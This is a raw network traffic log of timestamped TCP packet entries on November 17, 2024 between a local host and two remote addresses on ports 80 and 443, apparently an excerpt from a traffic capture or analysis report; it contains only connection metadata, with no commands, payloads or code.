Nov 17, 2024 12:35:23.455498934 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.480479002 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.480494022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.480510950 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.480528116 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.480556011 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.480716944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.480731010 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.480756044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.480772972 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.480787992 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.480806112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.480964899 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.480964899 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.480964899 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.529624939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.529827118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.529843092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.529970884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.529973030 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.529988050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.530025959 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.530145884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.530160904 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.530177116 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.530190945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.530225039 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.530225039 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.530289888 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.530304909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.530333996 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.530591965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.530607939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.530622959 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.530652046 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.530749083 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.531100988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531116009 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531131983 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531191111 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.531245947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531260967 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531301022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.531435013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531450033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531465054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531574965 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.531574965 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.531588078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531761885 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531776905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531791925 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531805992 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531812906 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.531821966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531838894 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.531845093 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.531872034 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.532067060 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532255888 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532269001 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532344103 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.532344103 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.532396078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532411098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532423019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532438040 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532464027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.532644987 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.532661915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532675982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532691002 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532706022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532721996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532737970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532753944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.532816887 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.532816887 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.532818079 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.533241034 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.533255100 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.533271074 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.533312082 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.533346891 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.533366919 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.548212051 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.549072981 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.549109936 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.550936937 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.550944090 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.565064907 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.565412045 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.565435886 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.565864086 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.565871000 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.571408033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.571468115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.571484089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.571547031 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.571547031 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.598218918 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.598233938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.598262072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.598310947 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.598330021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.598347902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.598362923 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.598380089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.598381042 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.598436117 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.598661900 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.598884106 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.637383938 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.637991905 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.638010979 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.638267994 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.638274908 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.639513016 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.639812946 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.639842987 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.640163898 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.640170097 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.645381927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.645409107 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.645433903 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.645484924 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.645560026 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.645576000 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.645695925 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.645704031 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.645720959 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.645867109 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.645889044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.645904064 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.645919085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.645971060 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.645971060 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.646091938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646123886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646137953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646190882 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646205902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646311998 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.646311998 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.646598101 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646625996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646639109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646756887 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.646756887 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.646768093 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646785021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646826029 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646833897 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.646842003 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.646925926 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647037983 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647054911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647088051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647090912 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.647116899 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.647124052 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.647135019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647223949 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647238970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647279978 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.647320032 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647373915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647402048 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.647490025 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647542953 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.647563934 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647579908 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647620916 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.647788048 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647845030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647861004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647900105 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.647973061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.647988081 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.648077965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.648082018 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.648093939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.648140907 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.648219109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.648232937 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.648248911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.648263931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.648267031 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.648389101 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.648413897 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.648495913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.648514986 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.648516893 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.648530960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.648598909 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.677035093 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.677179098 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.677231073 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.678396940 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.678416967 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.678431034 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.678437948 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.681889057 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.681934118 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.682300091 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.682300091 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.682349920 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.688575983 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.688608885 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.688626051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.688683987 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.688683987 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.693978071 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.694196939 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.694288015 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.694374084 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.694387913 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.694420099 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.694426060 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.697271109 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.697300911 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.697355032 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.697527885 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.697545052 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.715361118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.715444088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.715460062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.715506077 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.715528965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.715567112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.715572119 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.715699911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.715714931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.715729952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.715789080 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.715789080 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.762440920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.762501955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.762516975 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.762603998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.762691975 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.762761116 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.762761116 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.762769938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.762783051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.762800932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.762818098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.762818098 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.762849092 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.762965918 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.763045073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.763060093 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.763062000 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.763073921 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.763111115 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.763219118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.763235092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.763252020 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.763274908 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.763334990 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.763737917 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.763751984 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.763767958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.763804913 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.763892889 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.763907909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.764156103 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.764337063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.764446974 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.764468908 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.764484882 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.764528990 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.764556885 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.764630079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.764739037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.764753103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.764769077 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.764945984 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.764945984 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.764995098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765010118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765023947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765038013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765055895 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765064955 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.765110970 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.765110970 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.765297890 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765414000 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765431881 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765477896 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.765593052 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765609026 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765625000 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765641928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765650988 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.765660048 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765681982 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.765697956 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.765887022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765916109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765930891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.765948057 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.766007900 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.766007900 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.766007900 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.766258955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.766268015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.766274929 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.766282082 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.766288996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.766305923 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.766484022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.768662930 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.768742085 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.768987894 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.769354105 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.769414902 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.769414902 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.769434929 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.769449949 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.769470930 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.769578934 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.771133900 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.771133900 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.771145105 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.771155119 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.774950027 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.774988890 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.775232077 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.775705099 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.775722980 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.777550936 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.777573109 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.777645111 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.778152943 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:23.778166056 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:23.780812025 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.806292057 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.806365967 CET	80	49751	185.215.113.16	192.168.2.6
